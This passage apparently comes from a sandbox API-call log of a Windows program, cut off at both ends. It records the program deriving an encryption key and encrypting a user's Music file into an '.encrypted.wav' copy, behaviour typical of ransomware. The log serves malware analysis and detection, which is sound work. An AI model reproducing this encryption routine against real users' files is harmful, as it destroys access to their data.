phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.683] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.683] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.683] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.683] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.684] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.684] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.684] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.684] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.684] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b030, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.684] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.684] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.684] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.685] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.685] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.685] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0026.685] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.685] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.685] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.685] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.685] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.685] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.685] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.685] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.685] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0026.686] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.686] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.687] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\1q1ef6.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.687] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.687] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.687] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.688] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\1q1ef6.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.688] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.688] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.688] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.688] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.689] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.689] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.691] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x575e, lpOverlapped=0x0) returned 1 [0026.691] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.694] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.695] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.695] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.695] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.695] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.696] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.696] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.696] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.696] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.696] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.696] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064bb0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bb0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.696] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.696] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.696] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.697] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.697] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.697] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.697] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.699] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.699] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1575e, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15760) returned 1 [0026.699] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.699] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.699] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.699] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.699] CharLowerBuffW (in: lpsz="byte[87905]", cchLength=0xb | out: lpsz="byte[87905]") returned 0xb [0026.699] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.700] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.700] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.700] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.700] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.700] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x1575e, dwBufLen=0x15760 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x15760) returned 1 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.701] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.701] CharUpperBuffW (in: 